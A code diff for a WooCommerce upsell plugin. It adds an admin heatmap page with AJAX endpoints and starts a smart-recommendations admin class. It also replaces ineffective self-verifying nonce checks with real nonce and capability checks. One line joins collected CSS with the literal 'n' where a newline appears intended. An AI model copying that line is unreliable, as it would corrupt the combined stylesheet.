+			'title'           => __( 'Product title', 'upsell-order-bump-offer-for-woocommerce' ),
+			'price'           => __( 'Price', 'upsell-order-bump-offer-for-woocommerce' ),
+			'timer'           => __( 'Countdown timer', 'upsell-order-bump-offer-for-woocommerce' ),
+			'discount'        => __( 'Discount headline', 'upsell-order-bump-offer-for-woocommerce' ),
+			'offer_text'      => __( 'Offer description', 'upsell-order-bump-offer-for-woocommerce' ),
+			'description'     => __( 'Product description', 'upsell-order-bump-offer-for-woocommerce' ),
+			'other'           => __( 'Other / empty space', 'upsell-order-bump-offer-for-woocommerce' ),
+		);
+
+		wp_localize_script(
+			'wps-ubo-heatmap-admin',
+			'wpsUboHeatmapAdmin',
+			array(
+				'ajaxUrl'    => admin_url( 'admin-ajax.php' ),
+				'nonce'      => wp_create_nonce( self::NONCE_ACTION ),
+				'offers'     => $this->get_offer_catalog(),
+				'zones'      => Upsell_Order_Bump_Heatmap_Public::zone_selectors(),
+				'zoneLabels' => $zone_labels,
+				'i18n'       => array(
+					'loading'       => __( 'Loading…', 'upsell-order-bump-offer-for-woocommerce' ),
+					'noData'        => __( 'No interactions recorded for this selection yet.', 'upsell-order-bump-offer-for-woocommerce' ),
+					'noOffers'      => __( 'No offers found. Create an order bump or upsell funnel first.', 'upsell-order-bump-offer-for-woocommerce' ),
+					'previewError'  => __( 'Preview could not be rendered (is the offer product still published?). Heatmap is drawn on a blank canvas.', 'upsell-order-bump-offer-for-woocommerce' ),
+					'confirmDelete' => __( 'Delete ALL heatmap data? This cannot be undone.', 'upsell-order-bump-offer-for-woocommerce' ),
+					'deleted'       => __( 'All heatmap data deleted.', 'upsell-order-bump-offer-for-woocommerce' ),
+					'saved'         => __( 'Settings saved.', 'upsell-order-bump-offer-for-woocommerce' ),
+					'error'         => __( 'Something went wrong. Please reload and try again.', 'upsell-order-bump-offer-for-woocommerce' ),
+					'allTemplates'  => __( 'All templates', 'upsell-order-bump-offer-for-woocommerce' ),
+					'template'      => __( 'Template', 'upsell-order-bump-offer-for-woocommerce' ),
+					'current'       => __( 'current', 'upsell-order-bump-offer-for-woocommerce' ),
+					'bumpLabel'     => __( 'Order bump', 'upsell-order-bump-offer-for-woocommerce' ),
+					'funnelLabel'   => __( 'Upsell funnel', 'upsell-order-bump-offer-for-woocommerce' ),
+					'active'        => __( 'Tracking active', 'upsell-order-bump-offer-for-woocommerce' ),
+					'paused'        => __( 'Tracking paused', 'upsell-order-bump-offer-for-woocommerce' ),
+				),
+			)
+		);
+	}
+
+	/**
+	 * All bumps and funnel offers for the selectors.
+	 *
+	 * @return array
+	 */
+	private function get_offer_catalog() {
+		$catalog = array(
+			'bump'   => array(),
+			'upsell' => array(),
+		);
+
+		$bumps = get_option( 'wps_ubo_bump_list', array() );
+		if ( is_array( $bumps ) ) {
+			foreach ( $bumps as $bump_id => $bump ) {
+				if ( ! is_array( $bump ) ) {
+					continue;
+				}
+				$catalog['bump'][] = array(
+					'id'       => absint( $bump_id ),
+					'name'     => ! empty( $bump['wps_upsell_bump_name'] ) ? sanitize_text_field( $bump['wps_upsell_bump_name'] ) : sprintf( /* translators: %d: bump id */ __( 'Order Bump #%d', 'upsell-order-bump-offer-for-woocommerce' ), $bump_id ),
+					'template' => ! empty( $bump['wps_ubo_selected_template'] ) ? sanitize_text_field( $bump['wps_ubo_selected_template'] ) : '1',
+					// Where the bump's template and its design are changed.
+					'editUrl'  => add_query_arg(
+						array(
+							'page'    => 'upsell-order-bump-offer-for-woocommerce-setting',
+							'tab'     => 'creation-setting',
+							'bump_id' => absint( $bump_id ),
+						),
+						admin_url( 'admin.php' )
+					),
+				);
+			}
+		}
+
+		foreach ( Upsell_Order_Bump_Heatmap_Db::get_funnels() as $funnel_id => $funnel ) {
+			$offers = array();
+			foreach ( array_keys( $funnel['offers'] ) as $offer_id ) {
+				$offers[] = array(
+					'id'   => absint( $offer_id ),
+					/* translators: %d: offer number inside the funnel */
+					'name' => sprintf( __( 'Offer #%d', 'upsell-order-bump-offer-for-woocommerce' ), $offer_id ),
+				);
+			}
+			$catalog['upsell'][] = array(
+				'id'     => absint( $funnel_id ),
+				'name'   => '' !== $funnel['name'] ? sanitize_text_field( $funnel['name'] ) : sprintf( /* translators: %d: funnel id */ __( 'Funnel #%d', 'upsell-order-bump-offer-for-woocommerce' ), $funnel_id ),
+				'offers' => $offers,
+			);
+		}
+
+		return $catalog;
+	}
+
+	/**
+	 * Page markup.
+	 *
+	 * @return void
+	 */
+	public function render_page() {
+		if ( ! current_user_can( self::CAPABILITY ) ) {
+			wp_die( esc_html__( 'You do not have permission to access this page.', 'upsell-order-bump-offer-for-woocommerce' ) );
+		}
+
+		$settings = Upsell_Order_Bump_Heatmap_Db::get_settings();
+		require UPSELL_ORDER_BUMP_OFFER_FOR_WOOCOMMERCE_DIR_PATH . 'admin/partials/templates/wps-ubo-heatmap-display.php';
+	}
+
+	/**
+	 * Shared permission + nonce gate for admin AJAX.
+	 *
+	 * @return void
+	 */
+	private function verify_request() {
+		if ( ! check_ajax_referer( self::NONCE_ACTION, 'nonce', false ) || ! current_user_can( self::CAPABILITY ) ) {
+			wp_send_json_error( array( 'message' => __( 'Permission denied.', 'upsell-order-bump-offer-for-woocommerce' ) ), 403 );
+		}
+	}
+
+	/**
+	 * Read + sanitize filters from the request.
+	 *
+	 * @return array
+	 */
+	private function read_filters() {
+		if ( ! check_ajax_referer( self::NONCE_ACTION, 'nonce', false ) || ! current_user_can( self::CAPABILITY ) ) {
+			wp_send_json_error( array( 'message' => __( 'Permission denied.', 'upsell-order-bump-offer-for-woocommerce' ) ), 403 );
+		}
+		$offer_type = isset( $_POST['offer_type'] ) ? sanitize_key( wp_unslash( $_POST['offer_type'] ) ) : 'bump';
+		$offer_type = in_array( $offer_type, Upsell_Order_Bump_Heatmap_Db::OFFER_TYPES, true ) ? $offer_type : 'bump';
+
+		$device = isset( $_POST['device'] ) ? sanitize_key( wp_unslash( $_POST['device'] ) ) : '';
+		$device = in_array( $device, Upsell_Order_Bump_Heatmap_Db::DEVICES, true ) ? $device : '';
+
+		$days = isset( $_POST['days'] ) ? absint( $_POST['days'] ) : 30;
+		$days = in_array( $days, array( 1, 7, 30, 90, 365 ), true ) ? $days : 30;
+
+		$filters = array(
+			'offer_type'   => $offer_type,
+			'offer_id'     => isset( $_POST['offer_id'] ) ? absint( $_POST['offer_id'] ) : 0,
+			'sub_offer_id' => 'upsell' === $offer_type && isset( $_POST['sub_offer_id'] ) ? absint( $_POST['sub_offer_id'] ) : 0,
+			'device'       => $device,
+			'template'     => isset( $_POST['template'] ) ? substr( sanitize_key( wp_unslash( $_POST['template'] ) ), 0, 20 ) : '',
+			'date_from'    => gmdate( 'Y-m-d H:i:s', time() - ( $days * DAY_IN_SECONDS ) ),
+			'date_to'      => gmdate( 'Y-m-d H:i:s' ),
+		);
+		// phpcs:enable
+
+		return $filters;
+	}
+
+	/**
+	 * AJAX: aggregated heatmap data.
+	 *
+	 * @return void
+	 */
+	public function ajax_get_data() {
+		$this->verify_request();
+		$filters = $this->read_filters();
+
+		wp_send_json_success(
+			array(
+				'click'     => Upsell_Order_Bump_Heatmap_Db::get_grid( $filters, 'click' ),
+				'hover'     => Upsell_Order_Bump_Heatmap_Db::get_grid( $filters, 'hover' ),
+				'zones'     => Upsell_Order_Bump_Heatmap_Db::get_zones( $filters ),
+				'totals'    => Upsell_Order_Bump_Heatmap_Db::get_totals( $filters ),
+				'templates' => Upsell_Order_Bump_Heatmap_Db::get_templates_with_data( $filters['offer_type'], $filters['offer_id'], $filters['sub_offer_id'] ),
+			)
+		);
+	}
+
+	/**
+	 * AJAX: template preview backdrop.
+	 *
+	 * Bumps are rendered with the same functions used on checkout. Upsell offers
+	 * return the offer page URL that the admin loads in a same-origin iframe.
+	 *
+	 * @return void
+	 */
+	public function ajax_get_preview() {
+		$this->verify_request();
+		$filters = $this->read_filters();
+
+		if ( 'upsell' === $filters['offer_type'] ) {
+			wp_send_json_success( array( 'url' => $this->get_upsell_preview_url( $filters['offer_id'], $filters['sub_offer_id'] ) ) );
+		}
+
+		wp_send_json_success( $this->render_bump_preview( $filters['offer_id'], $filters['template'] ) );
+	}
+
+	/**
+	 * Offer page URL for an upsell offer.
+	 *
+	 * @param int $funnel_id Funnel id.
+	 * @param int $offer_id  Offer id.
+	 * @return string
+	 */
+	private function get_upsell_preview_url( $funnel_id, $offer_id ) {
+		$funnels = Upsell_Order_Bump_Heatmap_Db::get_funnels();
+		$funnel  = isset( $funnels[ $funnel_id ] ) ? $funnels[ $funnel_id ] : array();
+
+		$url = '';
+		if ( ! empty( $funnel['custom_url'][ $offer_id ] ) ) {
+			$url = $funnel['custom_url'][ $offer_id ];
+		} elseif ( ! empty( $funnel['page'][ $offer_id ] ) ) {
+			$url = get_permalink( absint( $funnel['page'][ $offer_id ] ) );
+		}
+
+		if ( empty( $url ) ) {
+			return '';
+		}
+
+		// Only allow same-site URLs so the iframe can be measured.
+		if ( wp_parse_url( $url, PHP_URL_HOST ) !== wp_parse_url( home_url(), PHP_URL_HOST ) ) {
+			return '';
+		}
+
+		// The funnel and offer ids tell the offer shortcodes which offer to render ( the shop
+		// manager preview mode ); without them the page shows no product, price or image.
+		// No order key or nonce is added, so nothing on the page can act on a real order.
+		return esc_url_raw(
+			add_query_arg(
+				array(
+					'wps_ubo_heatmap_preview' => '1',
+					'ocuf_fid'                => absint( $funnel_id ),
+					'ocuf_ofd'                => absint( $offer_id ),
+				),
+				$url
+			)
+		);
+	}
+
+	/**
+	 * Render a bump exactly as checkout does.
+	 *
+	 * @param int    $bump_id  Bump id.
+	 * @param string $template Template to draw instead of the bump's current one ( the
+	 *                         heatmap filtered to data recorded with an older template ).
+	 * @return array { html, css }
+	 */
+	private function render_bump_preview( $bump_id, $template = '' ) {
+		$bumps = get_option( 'wps_ubo_bump_list', array() );
+		if ( empty( $bumps[ $bump_id ] ) || ! function_exists( 'wps_ubo_lite_fetch_bump_offer_details' ) ) {
+			return array(
+				'html' => '',
+				'css'  => '',
+			);
+		}
+
+		$current  = ! empty( $bumps[ $bump_id ]['wps_ubo_selected_template'] ) ? (string) $bumps[ $bump_id ]['wps_ubo_selected_template'] : '1';
+		$template = (string) $template;
+		// Another template than the saved one: draw it with that template's default design.
+		$design   = '' !== $template && $template !== $current && function_exists( 'wps_ubo_lite_offer_template_' . $template ) ? call_user_func( 'wps_ubo_lite_offer_template_' . $template ) : null;
+		$template = $design ? $template : $current;
+		$map      = array(
+			'3'  => 'wps_ubo_lite_bump_offer_html_3',
+			'4'  => 'wps_ubo_lite_bump_offer_html_4',
+			'5'  => 'wps_ubo_lite_bump_offer_html_5',
+			'6'  => 'wps_ubo_lite_bump_offer_html_pro_6',
+			'7'  => 'wps_ubo_lite_bump_offer_html_pro_6',
+			'8'  => 'wps_ubo_lite_bump_offer_html_pro_6',
+			'9'  => 'wps_ubo_lite_bump_offer_html_pro_6',
+			'10' => 'wps_ubo_lite_bump_offer_html_10',
+			'11' => 'wps_ubo_lite_bump_offer_html_11',
+			'12' => 'wps_ubo_lite_bump_offer_html_12',
+			'13' => 'wps_ubo_lite_bump_offer_html_13',
+			'14' => 'wps_ubo_lite_bump_offer_html_14',
+		);
+		$renderer = isset( $map[ $template ] ) && function_exists( $map[ $template ] ) ? $map[ $template ] : 'wps_ubo_lite_bump_offer_html';
+
+		$html    = '';
+		$printed = '';
+		ob_start();
+		try {
+			$bump = wps_ubo_lite_fetch_bump_offer_details( $bump_id, '' );
+			if ( ! empty( $bump ) && $design ) {
+				$bump['design_css'] = array_merge( isset( $bump['design_css'] ) ? (array) $bump['design_css'] : array(), $design );
+			}
+			if ( ! empty( $bump ) ) {
+				$html = (string) call_user_func( $renderer, $bump, $bump_id, '' );
+			}
+		} catch ( Throwable $e ) {
+			$html = '';
+		}
+		$printed = (string) ob_get_clean();
+
+		// Template functions print their <style> blocks directly; collect CSS from both outputs.
+		$css = '';
+		if ( preg_match_all( '#<style[^>]*>(.*?)</style>#is', $printed . $html, $matches ) ) {
+			$css = implode( "n", $matches[1] );
+		}
+		$html = preg_replace( '#<style[^>]*>.*?</style>#is', '', $html );
+
+		return array(
+			'html'     => wp_kses( $html, wps_ubo_lite_allowed_html() ),
+			// CSS is inserted with textContent on a <style> element (cannot execute script).
+			'css'      => wp_strip_all_tags( $css ),
+			'template' => $template,
+		);
+	}
+
+	/**
+	 * AJAX: save settings.
+	 *
+	 * @return void
+	 */
+	public function ajax_save_settings() {
+		if ( ! check_ajax_referer( self::NONCE_ACTION, 'nonce', false ) || ! current_user_can( self::CAPABILITY ) ) {
+			wp_send_json_error( array( 'message' => __( 'Permission denied.', 'upsell-order-bump-offer-for-woocommerce' ) ), 403 );
+		}
+
+		$settings = array(
+			'enabled'        => ( isset( $_POST['enabled'] ) && 'on' === sanitize_key( wp_unslash( $_POST['enabled'] ) ) ) ? 'on' : 'off',
+			'track_hover'    => ( isset( $_POST['track_hover'] ) && 'on' === sanitize_key( wp_unslash( $_POST['track_hover'] ) ) ) ? 'on' : 'off',
+			'sample_rate'    => isset( $_POST['sample_rate'] ) ? min( 100, max( 1, absint( $_POST['sample_rate'] ) ) ) : 100,
+			// Clamp before absint(): absint( -3 ) would save 3.
+			'retention_days' => isset( $_POST['retention_days'] ) ? min( 730, max( 1, (int) sanitize_text_field( wp_unslash( $_POST['retention_days'] ) ) ) ) : 90,
+		);
+		// phpcs:enable
+
+		update_option( Upsell_Order_Bump_Heatmap_Db::SETTINGS_OPTION, $settings, false );
+
+		wp_send_json_success( $settings );
+	}
+
+	/**
+	 * AJAX: delete all data.
+	 *
+	 * @return void
+	 */
+	public function ajax_delete_all() {
+		$this->verify_request();
+		Upsell_Order_Bump_Heatmap_Db::truncate();
+		wp_send_json_success();
+	}
+}
--- a/upsell-order-bump-offer-for-woocommerce/admin/class-upsell-order-bump-offer-for-woocommerce-admin.php
+++ b/upsell-order-bump-offer-for-woocommerce/admin/class-upsell-order-bump-offer-for-woocommerce-admin.php
@@ -202,6 +202,7 @@
 					'1.0.0',
 					true
 				);
+				wp_localize_script( 'wps-combined-reports', 'wpsUboReports', array( 'nonce' => wp_create_nonce( 'wps_ubo_reports' ) ) );

 				wp_enqueue_script( 'wps_ubo_lite_admin_script', plugin_dir_url( __FILE__ ) . 'js/upsell-order-bump-offer-for-woocommerce-admin.js', array( 'jquery' ), time(), false );
 				wp_register_script( 'woocommerce_admin', WC()->plugin_url() . '/assets/js/admin/woocommerce_admin.js', array( 'jquery', 'jquery-blockui', 'jquery-ui-sortable', 'jquery-ui-widget', 'jquery-ui-core', 'jquery-tiptip', 'wc-enhanced-select', 'dompurify' ), WC_VERSION, false );
@@ -228,20 +229,13 @@
 					'is_pro_active' => $wps_is_pro_active,
 				);

-				$secure_nonce      = wp_create_nonce( 'wps-upsell-auth-nonce' );
-				$id_nonce_verified = wp_verify_nonce( $secure_nonce, 'wps-upsell-auth-nonce' );
-
-				if ( ! $id_nonce_verified ) {
-					wp_die( esc_html__( 'Nonce Not verified', 'upsell-order-bump-offer-for-woocommerce' ) );
-				}
-
 				wp_enqueue_script( 'wp-color-picker' );

 				wp_enqueue_media();

 				if ( ! empty( $_GET['wps-bump-offer-section'] ) ) {

-					$bump_offer_section['value'] = sanitize_text_field( wp_unslash( $_GET['wps-bump-offer-section'] ) );
+					$bump_offer_section['value'] = sanitize_key( wp_unslash( $_GET['wps-bump-offer-section'] ) );

 					wp_localize_script(
 						'wps_ubo_lite_admin_script',
@@ -290,7 +284,7 @@

 				if ( ! empty( $_GET['wps-bump-template-section'] ) ) {

-					$bump_template_section['value'] = sanitize_text_field( wp_unslash( $_GET['wps-bump-template-section'] ) );
+					$bump_template_section['value'] = sanitize_key( wp_unslash( $_GET['wps-bump-template-section'] ) );

 					wp_localize_script(
 						'wps_ubo_lite_admin_script',
@@ -313,6 +307,7 @@
 						'ajaxurl'    => admin_url( 'admin-ajax.php' ),
 						'auth_nonce' => wp_create_nonce( 'wps_onboarding_nonce' ),
 						'one_click_funnel_nonce' => wp_create_nonce( 'wps_wocuf_nonce' ),
+						'dismiss_notice_nonce' => wp_create_nonce( 'wps_ubo_dismiss_notice' ),
 						'screen_id' => $screen->id,
 						'funnel_builder_pro_is_enable' => wps_is_plugin_active_with_version( 'upsell-order-bump-offer-for-woocommerce-pro/upsell-order-bump-offer-for-woocommerce-pro.php', '3.0.0' ),
 					)
@@ -522,17 +517,66 @@
 	}

 	/**
+	 * Attach the admin search nonce to the product / coupon / category search requests.
+	 *
+	 * Runs late on admin_enqueue_scripts and adds a small inline script before whichever
+	 * search script is enqueued ( this plugin's, or the Pro plugin's funnel editor script,
+	 * which calls the same AJAX actions ), so every caller sends the nonce.
+	 *
+	 * @return void
+	 */
+	public function attach_admin_search_nonce() {
+		if ( ! current_user_can( 'manage_woocommerce' ) ) {
+			return;
+		}
+		$actions = array(
+			'search_products_for_bump',
+			'search_products_for_offers',
+			'search_products_for_bump_offer_id',
+			'search_coupon_for_offers',
+			'search_product_categories_for_bump',
+			'seach_products_for_funnel',
+			'search_product_categories_for_funnel',
+			'seach_products_for_offers',
+		);
+		$js = '( function ( $, nonce, actions ) {'
+			. 'if ( ! $ || ! nonce ) { return; }'
+			. '$.ajaxPrefilter( function ( o ) {'
+			. 'if ( typeof o.data !== "string" || /(^|&)wps_ubo_search_nonce=/.test( o.data ) ) { return; }'
+			. 'var m = o.data.match( /(?:^|&)action=([^&]+)/ );'
+			. 'if ( m && actions.indexOf( decodeURIComponent( m[1] ) ) !== -1 ) { o.data += "&wps_ubo_search_nonce=" + encodeURIComponent( nonce ); }'
+			. '} );'
+			. '} )( window.jQuery, ' . wp_json_encode( wp_create_nonce( 'wps_ubo_admin_search' ) ) . ', ' . wp_json_encode( $actions ) . ' );';
+
+		foreach ( array( 'wps_ubo_lite_add_new_offer_script', 'wps-wocuf-pro-add_new-offer-script' ) as $handle ) {
+			if ( wp_script_is( $handle, 'enqueued' ) ) {
+				wp_add_inline_script( $handle, $js, 'before' );
+			}
+		}
+	}
+
+	/**
+	 * Admin AJAX guard: a real nonce ( CSRF ) and the shop-manager capability ( authorization ).
+	 * Dies with -1 on a bad nonce and a 403 JSON error without the capability.
+	 *
+	 * @param string $action Nonce action.
+	 * @param string $arg    Request key holding the nonce.
+	 * @return void
+	 */
+	private function verify_admin_ajax( $action, $arg ) {
+		check_ajax_referer( $action, $arg );
+		if ( ! current_user_can( 'manage_woocommerce' ) ) {
+			wp_send_json_error( array( 'message' => esc_html__( 'You are not allowed to do this.', 'upsell-order-bump-offer-for-woocommerce' ) ), 403 );
+		}
+	}
+
+	/**
 	 * Select2 search for adding bump target products.
 	 *
 	 * @since    1.0.0
 	 */
 	public function search_products_for_bump() {
-		$secure_nonce      = wp_create_nonce( 'wps-upsell-auth-nonce' );
-		$id_nonce_verified = wp_verify_nonce( $secure_nonce, 'wps-upsell-auth-nonce' );
-
-		if ( ! $id_nonce_verified ) {
-			wp_die( esc_html__( 'Nonce Not verified', 'upsell-order-bump-offer-for-woocommerce' ) );
-		}
+		$this->verify_admin_ajax( 'wps_ubo_admin_search', 'wps_ubo_search_nonce' );

 		$return         = array();
 		$search_results = new WP_Query(
@@ -597,12 +641,7 @@
 	 * @since    1.0.0
 	 */
 	public function search_products_for_offers() {
-		$secure_nonce      = wp_create_nonce( 'wps-upsell-auth-nonce' );
-		$id_nonce_verified = wp_verify_nonce( $secure_nonce, 'wps-upsell-auth-nonce' );
-
-		if ( ! $id_nonce_verified ) {
-			wp_die( esc_html__( 'Nonce Not verified', 'upsell-order-bump-offer-for-woocommerce' ) );
-		}
+		$this->verify_admin_ajax( 'wps_ubo_admin_search', 'wps_ubo_search_nonce' );

 		$return         = array();
 		$search_results = new WP_Query(
@@ -668,12 +707,7 @@
 	 * @since    1.0.0
 	 */
 	public function search_products_for_bump_offer_id() {
-		$secure_nonce = wp_create_nonce( 'wps-upsell-auth-nonce' );
-		$id_nonce_verified = wp_verify_nonce( $secure_nonce, 'wps-upsell-auth-nonce' );
-
-		if ( ! $id_nonce_verified ) {
-			wp_die( esc_html__( 'Nonce Not verified', 'upsell-order-bump-offer-for-woocommerce' ) );
-		}
+		$this->verify_admin_ajax( 'wps_ubo_admin_search', 'wps_ubo_search_nonce' );

 		$return = array();

@@ -707,12 +741,7 @@
 	 * @since    1.0.0
 	 */
 	public function search_coupon_for_offers() {
-		$secure_nonce      = wp_create_nonce( 'wps-upsell-auth-nonce' );
-		$id_nonce_verified = wp_verify_nonce( $secure_nonce, 'wps-upsell-auth-nonce' );
-
-		if ( ! $id_nonce_verified ) {
-			wp_die( esc_html__( 'Nonce Not verified', 'upsell-order-bump-offer-for-woocommerce' ) );
-		}
+		$this->verify_admin_ajax( 'wps_ubo_admin_search', 'wps_ubo_search_nonce' );

 		$return         = array();
 		$search_results = new WP_Query(
@@ -761,12 +790,7 @@
 	 * @since    1.0.0
 	 */
 	public function search_product_categories_for_bump() {
-		$secure_nonce      = wp_create_nonce( 'wps-upsell-auth-nonce' );
-		$id_nonce_verified = wp_verify_nonce( $secure_nonce, 'wps-upsell-auth-nonce' );
-
-		if ( ! $id_nonce_verified ) {
-			wp_die( esc_html__( 'Nonce Not verified', 'upsell-order-bump-offer-for-woocommerce' ) );
-		}
+		$this->verify_admin_ajax( 'wps_ubo_admin_search', 'wps_ubo_search_nonce' );

 		$return = array();
 		$args   = array(
@@ -982,13 +1006,6 @@
 	 * @since    1.4.0
 	 */
 	public function deactivate_pro_plugin() {
-		$secure_nonce      = wp_create_nonce( 'wps-upsell-auth-nonce' );
-		$id_nonce_verified = wp_verify_nonce( $secure_nonce, 'wps-upsell-auth-nonce' );
-
-		if ( ! $id_nonce_verified ) {
-			wp_die( esc_html__( 'Nonce Not verified', 'upsell-order-bump-offer-for-woocommerce' ) );
-		}
-
 		// To hide Plugin activated notice.
 		if ( ! empty( $_GET['activate'] ) ) {

@@ -1213,12 +1230,6 @@
 	 * @since 2.2.8
 	 */
 	public function wps_install_and_redirect_upsell_plugin_callback() {
-		 $secure_nonce      = wp_create_nonce( 'wps-upsell-auth-nonce' );
-		$id_nonce_verified = wp_verify_nonce( $secure_nonce, 'wps-upsell-auth-nonce' );
-
-		if ( ! $id_nonce_verified ) {
-			wp_die( esc_html__( 'Nonce Not verified', 'upsell-order-bump-offer-for-woocommerce' ) );
-		}
 		wp_send_json_success( array( 'redirect_url' => admin_url( 'plugin-install.php?s=Upsell%2520Order%2520Bump%2520Offer%2520for%2520WooCommerce%2520%25E2%2580%2593%2520Increase%2520Sales%2520and%2520AOV%252C%2520Upsell%2520%2526%2520Cross-sell%2520Offers%2520on%2520Checkout%2520Page%2520%2520wp%2520swings&tab=search&type=term' ) ) );
 		wp_die();
 	}
@@ -1232,12 +1243,7 @@
 	public function seach_products_for_funnel() {
 		$return = array();

-		$secure_nonce      = wp_create_nonce( 'wps-upsell-auth-nonce' );
-		$id_nonce_verified = wp_verify_nonce( $secure_nonce, 'wps-upsell-auth-nonce' );
-
-		if ( ! $id_nonce_verified ) {
-			wp_die( esc_html__( 'Nonce Not verified', 'upsell-order-bump-offer-for-woocommerce' ) );
-		}
+		$this->verify_admin_ajax( 'wps_ubo_admin_search', 'wps_ubo_search_nonce' );

 		$search_results = new WP_Query(
 			array(
@@ -1303,12 +1309,7 @@
 	public function search_product_categories_for_funnel() {
 		$return = array();

-		$secure_nonce      = wp_create_nonce( 'wps-upsell-auth-nonce' );
-		$id_nonce_verified = wp_verify_nonce( $secure_nonce, 'wps-upsell-auth-nonce' );
-
-		if ( ! $id_nonce_verified ) {
-			wp_die( esc_html__( 'Nonce Not verified', 'upsell-order-bump-offer-for-woocommerce' ) );
-		}
+		$this->verify_admin_ajax( 'wps_ubo_admin_search', 'wps_ubo_search_nonce' );

 		$args = array(
 			'search'   => ! empty( $_GET['q'] ) ? sanitize_text_field( wp_unslash( $_GET['q'] ) ) : '',
@@ -1341,12 +1342,7 @@
 	public function seach_products_for_offers() {
 		$return = array();

-		$secure_nonce      = wp_create_nonce( 'wps-upsell-auth-nonce' );
-		$id_nonce_verified = wp_verify_nonce( $secure_nonce, 'wps-upsell-auth-nonce' );
-
-		if ( ! $id_nonce_verified ) {
-			wp_die( esc_html__( 'Nonce Not verified', 'upsell-order-bump-offer-for-woocommerce' ) );
-		}
+		$this->verify_admin_ajax( 'wps_ubo_admin_search', 'wps_ubo_search_nonce' );

 		$search_results = new WP_Query(
 			array(
@@ -1409,6 +1405,14 @@
 	 * @since       2.0.0
 	 */
 	public function dismiss_elementor_inactive_notice() {
+		// The Pro plugin registers this action too and its admin script sends its own admin nonce.
+		$nonce = isset( $_REQUEST['nonce'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['nonce'] ) ) : '';
+		if ( ! wp_verify_nonce( $nonce, 'wps_ubo_dismiss_notice' ) && ! wp_verify_nonce( $nonce, 'wps_wocuf_pro_admin_nonce' ) ) {
+			wp_die( '-1', 403 );
+		}
+		if ( ! current_user_can( 'manage_woocommerce' ) ) {
+			wp_send_json_error( null, 403 );
+		}
 		set_transient( 'wps_upsell_elementor_inactive_notice', 'notice_dismissed' );

 		wp_die();
@@ -2210,13 +2214,6 @@
 	 * @since    1.0.0
 	 */
 	public function wps_wocuf_pro_restrict_manage_posts() {
-		 $secure_nonce      = wp_create_nonce( 'wps-upsell-auth-nonce' );
-		$id_nonce_verified = wp_verify_nonce( $secure_nonce, 'wps-upsell-auth-nonce' );
-
-		if ( ! $id_nonce_verified ) {
-			wp_die( esc_html__( 'Nonce Not verified', 'upsell-order-bump-offer-for-woocommerce' ) );
-		}
-
 		if ( isset( $_GET['post_type'] ) && 'shop_order' === sanitize_key( wp_unslash( $_GET['post_type'] ) ) ) {

 			if ( isset( $_GET['wps_wocuf_pro_upsell_filter'] ) ) :
@@ -2251,13 +2248,6 @@
 	 */
 	public function wps_wocuf_pro_request_query( $vars ) {

-		$secure_nonce      = wp_create_nonce( 'wps-upsell-auth-nonce' );
-		$id_nonce_verified = wp_verify_nonce( $secure_nonce, 'wps-upsell-auth-nonce' );
-
-		if ( ! $id_nonce_verified ) {
-			wp_die( esc_html__( 'Nonce Not verified', 'upsell-order-bump-offer-for-woocommerce' ) );
-		}
-
 		if ( isset( $_GET['wps_wocuf_pro_upsell_filter'] ) && 'all_upsells' === $_GET['wps_wocuf_pro_upsell_filter'] ) {

 			$vars = array_merge(
@@ -3787,6 +3777,8 @@
 	 * @return void
 	 */
 	public function wps_ajax_get_upsell_funnel_data() {
+		$this->verify_admin_ajax( 'wps_ubo_reports', 'nonce' );
+
 		if ( wps_is_plugin_active_with_version( 'upsell-order-bump-offer-for-woocommerce-pro/upsell-order-bump-offer-for-woocommerce-pro.php', '3.0.0' ) ) {
 			$funnels_list = get_option( 'wps_wocuf_pro_funnels_list' );
 		} else {
@@ -3845,6 +3837,8 @@
 	 * @return void
 	 */
 	public function wps_ajax_get_bump_stats_data() {
+		$this->verify_admin_ajax( 'wps_ubo_reports', 'nonce' );
+
 		$order_bumps = get_option( 'wps_ubo_bump_list' );
 		$stats = array(
 			'summary' => array(
--- a/upsell-order-bump-offer-for-woocommerce/admin/class-upsell-order-bump-reco-admin.php
+++ b/upsell-order-bump-offer-for-woocommerce/admin/class-upsell-order-bump-reco-admin.php
@@ -0,0 +1,546 @@
+<?php
+/**
+ * Smart Offer Recommendations - admin side.
+ *
+ * @link       https://wpswings.com/?utm_source=wpswings-official&utm_medium=order-bump-org-backend&utm_campaign=official
+ * @since      3.1.8
+ *
+ * @package    Upsell_Order_Bump_Offer_For_Woocommerce
+ * @subpackage Upsell_Order_Bump_Offer_For_Woocommerce/admin
+ * @author     WP Swings <webmaster@wpswings.com>
+ */
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * "Smart Recommendations" page, AJAX endpoints and per-offer fields.
+ *
+ * @since 3.1.8
+ */
+class Upsell_Order_Bump_Reco_Admin {
+
+	/**
+	 * Sub-menu slug.
+	 *
+	 * @var string
+	 */
+	const PAGE_SLUG = 'upsell-order-bump-offer-for-woocommerce-smart-reco';
+
+	/**
+	 * Nonce action.
+	 *
+	 * @var string
+	 */
+	const NONCE_ACTION = 'wps_ubo_reco_admin';
+
+	/**
+	 * Capability.
+	 *
+	 * @var string
+	 */
+	const CAPABILITY = 'manage_woocommerce';
+
+	/**
+	 * Plugin version.
+	 *
+	 * @var string
+	 */
+	private $version;
+
+	/**
+	 * Page hook suffix.
+	 *
+	 * @var string
+	 */
+	private $hook_suffix = '';
+
+	/**
+	 * Constructor.
+	 *
+	 * @param string $version Plugin version.
+	 */
+	public function __construct( $version ) {
+		$this->version = $version;
+	}
+
+	/**
+	 * Register the sub-menu.
+	 *
+	 * @return void
+	 */
+	public function add_menu() {
+		$this->hook_suffix = (string) add_submenu_page(
+			'upsell-order-bump-offer-for-woocommerce-setting',
+			esc_html__( 'Smart Recommendations', 'upsell-order-bump-offer-for-woocommerce' ),
+			esc_html__( 'Smart Recommendations', 'upsell-order-bump-offer-for-woocommerce' ),
+			self::CAPABILITY,
+			self::PAGE_SLUG,
+			array( $this, 'render_page' )
+		);
+	}
+
+	/**
+	 * Enqueue assets on the page only.
+	 *
+	 * @param string $hook_suffix Current page hook.
+	 * @return void
+	 */
+	public function enqueue_assets( $hook_suffix ) {
+		if ( empty( $this->hook_suffix ) || $hook_suffix !== $this->hook_suffix ) {
+			return;
+		}
+
+		$base = plugin_dir_url( __DIR__ );
+
+		// WooCommerce product search (selectWoo).
+		wp_enqueue_style( 'woocommerce_admin_styles' );
+		wp_enqueue_script( 'wc-enhanced-select' );
+
